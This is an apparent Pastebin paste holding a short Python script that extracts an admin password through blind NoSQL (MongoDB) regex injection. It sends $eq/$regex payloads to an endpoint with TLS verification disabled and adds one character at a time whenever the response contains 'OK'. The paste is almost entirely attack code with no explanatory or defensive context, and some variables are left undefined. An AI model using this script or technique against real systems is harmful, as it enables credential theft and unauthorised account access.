Advertisement
Guest User

Untitled

a guest
Feb 5th, 2019
120
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.50 KB | None | 0 0
  1. import requests
  2. import urllib3
  3. import string
  4. import urllib
  5. urllib3.disable_warnings()
  6.  
  7. username="admin"
  8. password=""
  9.  
  10. while True:
  11. for c in string.printable:
  12. if c not in ['*','+','.','?','|']:
  13. payload='{"_id": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (_id, password + c)
  14. r = requests.post(u, data = {'ids': payload}, verify = False)
  15. if 'OK' in r.text:
  16. print("Found one more char : %s" % (password+c))
  17. password += c
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement